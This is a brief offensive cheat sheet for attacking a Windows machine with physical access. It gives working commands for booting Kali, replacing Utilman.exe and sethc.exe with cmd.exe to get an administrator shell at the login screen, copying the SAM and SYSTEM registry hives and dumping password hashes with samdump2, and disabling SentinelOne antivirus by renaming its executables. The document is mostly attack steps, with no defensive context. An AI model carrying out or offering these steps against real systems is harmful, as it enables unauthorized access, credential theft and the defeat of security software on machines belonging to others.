Physical access

Boot on a Kali Linux
The disk must not be encrypted
USB ports must be enabled in the BIOS. If not, is the BIOS password protected ?

Shutdown Without Hibernation

shutdown /s /t 0

Admin CLI

copy C:\Windows\System32\Utilman.exe C:\Windows\System32\Utilman.exe.old
copy C:\Windows\System32\cmd.exe C:\Windows\System32\Utilman.exe
copy C:\Windows\System32\sethc.exe C:\Windows\System32\sethc.old
copy C:\Windows\System32\cmd.exe C:\Windows\System32\sethc.exe
Hit SHIFT 5 times

SAM dump

cp <...>\Windows\System32\config\SYSTEM /tmp
cp <...>\Windows\System32\config\SAM /tmp
samdump2 /tmp/SYSTEM /tmp/SAM

Kill AV

Check the AV executables list

C:\Program Files\SentinelOne...
Change extension to “.old”

BIOS - Master password